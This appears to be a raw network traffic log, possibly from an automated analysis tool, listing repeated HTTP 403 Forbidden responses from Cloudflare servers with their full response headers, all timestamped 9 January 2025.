Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pPK0Neqe2yEl70F17dnKcEj2XIRGqR7CU6fBShaFPg9oWzHKe7qQeB%2F9oierBeTllcOlxy2%2FySK5guWJw%2F1FFwF%2FXRvxGqgniaEaQ5AmCk82BqHEHMesYxilNrRmH0wk4OA8RdwSpjXvxGLD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba0f8e12c32f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1480&rtt_var=571&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1891191&cwnd=139&unsent_bytes=0&cid=645153eed2393e4b&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AiNgGTX2NqIdebYGwHU2RnpaGwKqU4EVW9YAfk4dQqymtLkDr8ZppV5aDW83mYfsoC6VGZKvLX73qAtCepf0N7Eg5dw%2F7EcCAISrQBNZ%2Fmd7c7ppiCD7jeIT0eagfnK8Op7qOw3u0NH24pgG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba139cc7de95-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1669&rtt_var=638&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1698662&cwnd=242&unsent_bytes=0&cid=c0fe1ebee78f3b0d&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:33 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w%2Bv7UzruV8zlN%2Bpg3ggzwAiR45eViDDdNj25jaArSXqUZTp2%2BTQ6o2gmKFjbZRWmnYHwZe09pzpcsjD8pxRZWG%2BPkS1CSgyJttsVtl%2BzUN%2B8BjCXWfCPW%2BW%2BqeHO2qqpxP0BckXWYUGkXNBU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba176e407ce7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1952&min_rtt=1950&rtt_var=735&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1485249&cwnd=199&unsent_bytes=0&cid=539b312caf0d572f&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:33 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6y8wBGU9yaS17hmRpXcpdFLtB9DW9fUAw22yOisML6bCLHrDEuTcmjABx7b%2Bt8BIUSueplH6%2Buv6cNg6%2F6qhbas52MDx1fTomlCp4BcJdz1679PSDbJbxwPP0lv6%2FMu8FgkwpMmJO%2B%2BRQQJF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba1b3a260f3a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1476&min_rtt=1468&rtt_var=567&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1902280&cwnd=165&unsent_bytes=0&cid=ae302a2272b7b384&ts=140&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:34 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EF3YuHo4g8lJe43vnjzdlXxH%2FryVTx3IkE5W%2FjuwKh7sgWx8C9lyRGqGpIqXrT1SuEyTU%2BFEUoA0NwQp9BFY8y4dHPvfWPl3TKry9SMWx3RCL1GKaTxCTovJqVqlHvgEwYLD6foZCDkxQzjL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba1eef76435c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1604&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1802469&cwnd=249&unsent_bytes=0&cid=70f759e33cb57d06&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:35 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rA1KQBmNALyfT5AWFj2IqqXty688NlH%2F2lsPZogdH678GepJ6DQd4qbTiwSkgXWzQ6qeOAJ0CmPw1LLzQdfOy7xB%2FLTTLhoXWqjvZnVlQGgiXm%2BYX%2FdfPHAm7hnOxkneoNme3jrD81pUFJrJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba22be344406-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2039&min_rtt=2039&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1432074&cwnd=186&unsent_bytes=0&cid=88a506469ef35f6c&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:35 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JAGoJXf22f6CAcxwmZU8kdbPRJSGPQcdG1wFR2e70V8EtDBIgybcSZ6eHgKTX4v1LCUIJ%2BIXggSBlHqe2jfJneBlZHxYnGsiIhZEGNBjCTPXbop3aPmehns5ZeOCyTqMKh1gYSvivDkXbpkp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba26a9664372-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2341&min_rtt=2336&rtt_var=887&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1226375&cwnd=242&unsent_bytes=0&cid=2989b413852d033d&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4hkjQ8ARjJ4%2FbsoAgP8X0y69%2BZIE%2FUTcImSMcZxhfVkAdNEq4GgiH4gB28VkY7Z%2FGwGMWUHWgwWTI7EF%2F6WyvOzIk%2Fd3Co%2Bq2VFsGM7QUoWmWbSoSPhd4J5lt1JpTengnQq0W01jOtBYI%2F7v"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba2a6f9b5e6b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1611&min_rtt=1581&rtt_var=614&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1846932&cwnd=247&unsent_bytes=0&cid=cdb54ac874943fd7&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3R58UYBbvlreS0zTloDtaJw%2FK0%2FruQLfIU4Y7ZkxMJV0PSWmRPX9LUF%2B4PoME6XCxlSe9a0YWo22Ct4fE6Rtjf58WiwUc7mypgkE9ipogmdwy4OlifLd182qMNpvi2%2BNZnmAfYiYNoJTTqNj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba2e1cf7c333-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1492&min_rtt=1479&rtt_var=582&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1838790&cwnd=143&unsent_bytes=0&cid=ddf5470c0ed4ec1a&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yMCwQAG7FqAH8N4PoL1hue9TciIvAYl4d83LhXHOb43nriY17aMkKRlnCPXaacHg5%2Brig%2FwqEbJhvlcBi3Y2LhX9Yyn4luYPfZgkegPC6ygGnsYj%2Fd8pikoJYMewCC2pqBXAx29THxfuGOiw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba321edb0f46-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1468&min_rtt=1459&rtt_var=565&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1904761&cwnd=229&unsent_bytes=0&cid=667d170fed3c8a33&ts=173&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:38 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RMTH%2FFdEp99fT8zj7FjTafW4sD1XXiUjuzX4ST8xbxGHm0om3h8nou%2F58jwj4F5ueG1Rr65bsDpbf8c1ukmdyZI80RD%2Fjh%2FqXgd0B9K%2B7MiDwOb1FAsZaTgtd0qQLu%2BcdssAihKHewnVC%2FtS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba36ff854367-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1641&min_rtt=1619&rtt_var=623&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1803582&cwnd=238&unsent_bytes=0&cid=dae3b02741f9a07d&ts=173&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:38 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rs0wXODJmr1MPczsjD6TG%2FspE8iFoHaKVQRSul61aBcYGaff2a8JCOyhTtHfX9fGlRjRFhkLj%2BZVGP36doatonkCCOrGg6qkCkzF4EuuOTnILisfn4D%2B41xSzjDk5e7HGKWdKajSsxct3dFi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba3ac8e043d9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2060&min_rtt=2050&rtt_var=789&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1368963&cwnd=221&unsent_bytes=0&cid=e96dc2c67bfaf40b&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ukzlDuXXxBydL8bTF%2FkZ3vy4ZucR1e9eMWYNE32DRcL5R%2FZVN2G4kUJ2E4D4QM8Hw1%2Ba%2FUz94G0vQCUbbBlw7m7rQQ%2BUQPNp18CgW7azTTNtHva5AoHp37CKpJwZv3LGzCOc8ggT2Gn3zvD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba3eaa2d42db-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1743&min_rtt=1742&rtt_var=656&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1664766&cwnd=215&unsent_bytes=0&cid=5feaf73e50bc66d7&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dF34Fbo65MuJclMR5GLOYL9XNBDbOV%2FPZ%2FnA7mQa4AEn%2B8y8LaKLeuTlh7wSe1aPI7LakMEJ1x6ENKwRNom00K%2B2tlcnUHNRNcFuxdiLpWaATBiJEcGv8aRdDSxTLtnadWo96mka%2F8wERRdV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba42d87a41d8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1727&min_rtt=1711&rtt_var=674&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1586956&cwnd=222&unsent_bytes=0&cid=8b66d3dff90a3b43&ts=187&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rSuDhdLjlyiEv1Xhw7PfhGTySMUxYQ351%2BI%2B5qCCM%2FntKdVl9ANI2jyNF%2FuEJ1on6zz3gKbwsX1O44bqeR06Tu5O%2BY%2FPeXEZXdK7X15%2BE%2FLMtAzfu41C0WQ3XtJTeux5raN4%2FmDPjFVeVi7K"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba46ed7c8c83-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1991&rtt_var=748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1461461&cwnd=189&unsent_bytes=0&cid=e1d17f477d02c2db&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:41 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CmeqrV9ZQXRZL6SJah1roEJMHIgowM0xX6Hk8s6cBaoG0GkqXdnEk7r1Rm6NLigxmfvwNoKJXmXkXuIZw2u%2FIttXr8EwJvzkXaDea0rbuH2TsLVNiloClBilS5m2zsCllu8r1462yXh6JdNJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba4ac955f3bb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1493&rtt_var=574&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1882656&cwnd=82&unsent_bytes=0&cid=63ec582df35bc8c9&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r%2F1Loo0ySsyvvwX2J2YnVN3e%2F3UV786HPoXVbPi6tVHz2zirE6iNS%2FITK8La0OdKfmzRGtrMh2NpA4VJ65xMlapaINiTPEmOivxvNEMtM%2FR7Qmhdsb89SkK%2BWiXI8IXXzkucC6RlwDAjsZyt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba4e7afb0f97-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1512&min_rtt=1509&rtt_var=573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1898569&cwnd=245&unsent_bytes=0&cid=5755a78b615e6264&ts=126&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CKf1H6a5D9wMS1VtFJPzuWZ7JqVIMLMuUiwuA5dFNTb1iZ8Cd0eJHFEDUeo27PuX0Y3IjoKjS77MbTQG6z42diFkwH8mOjpEvn9INQ0MBzgxutioaUkQkC9u6i4jQuqYys5F%2BujsC9VYhoFF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba524bd77d1a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=1970&rtt_var=777&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1482233&cwnd=179&unsent_bytes=0&cid=d76e3c173d80b72f&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:43 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wYg%2B7XQn9cC4zmthcBXJKyA9eXTMzSXfyLZeXCgjF5oXLlhO05O9EM0Gint7YU9paW0f7jXD5LrJUW%2B5FBW2ujLA3DUjnP08KAqrwr9ux%2FhXMso5ZMM8FX4zUH1T9sM09yEWQn6tLZ4ivlzu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba563cf44380-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1537&min_rtt=1524&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1788120&cwnd=223&unsent_bytes=0&cid=dc6e5154ddb3bfb5&ts=123&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:43 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a3SR2kvlcLztORARNy%2BhIWBa62Kjxa7xc10MuliLwDlEPGdwtYrhRVJVvSVOzz48Y4ZnzhDzWfMkCkm%2FzCKfr0YiCTF8%2Fjvbv1rLfq8m3vdfaV0dJ9BLaVtz1ah0J%2BmJ4bMHfUBOegRLNh2W"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba5a081e8c35-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1918&min_rtt=1907&rtt_var=738&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1459270&cwnd=243&unsent_bytes=0&cid=c6b93c10079425de&ts=126&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:44 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2BLWVpUPqitPXp1CFE1xCK9CnbGz5OpOR0pLk3EYZraKKpPOx87Q0IqXTWMolJDd2kNh8A8mzK00yP3KMykbai7%2F5adcOHonnDIS91U6lHrofl%2F0s2V%2Bcz8%2BW4j4e1tHv9FZ8y9WXQMQwVka"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba5de9837ced-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1958&rtt_var=751&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1440552&cwnd=179&unsent_bytes=0&cid=a669f0699216f24f&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5FnDlfx2UOBGIjNHlxkDW4Us5m0YUxKO3nXkJNTzizzGikrk1tYtNUpVz9QTo1u93%2FXDnJIABrb5VdT713ny0rQcyiPSNlg8tpNBdO2rUWRhtLq%2F94HQel7ChJxZ3eXQVmaZI1ZOlL9s%2FQx1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba62ef43434f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1720&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1670480&cwnd=209&unsent_bytes=0&cid=a3db025230a5a0aa&ts=324&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:46 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wj9pPw%2BtalTeoltx2Ahbu46dJdPHHzHEveaGBPXAK%2FBboHuNL9jewz8q2lDnMqCRhH%2BcdZNLEEe2egv0PgfgqgxOA99R0nAaq4yGa1yKwj4%2BzjdSqBku7znBra%2FgDl4BP3v%2F%2BRANhlFwo%2Bmk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba66dd328c48-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2037&min_rtt=2027&rtt_var=780&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1385199&cwnd=215&unsent_bytes=0&cid=2c4e1b185e5ec508&ts=154&x=0"
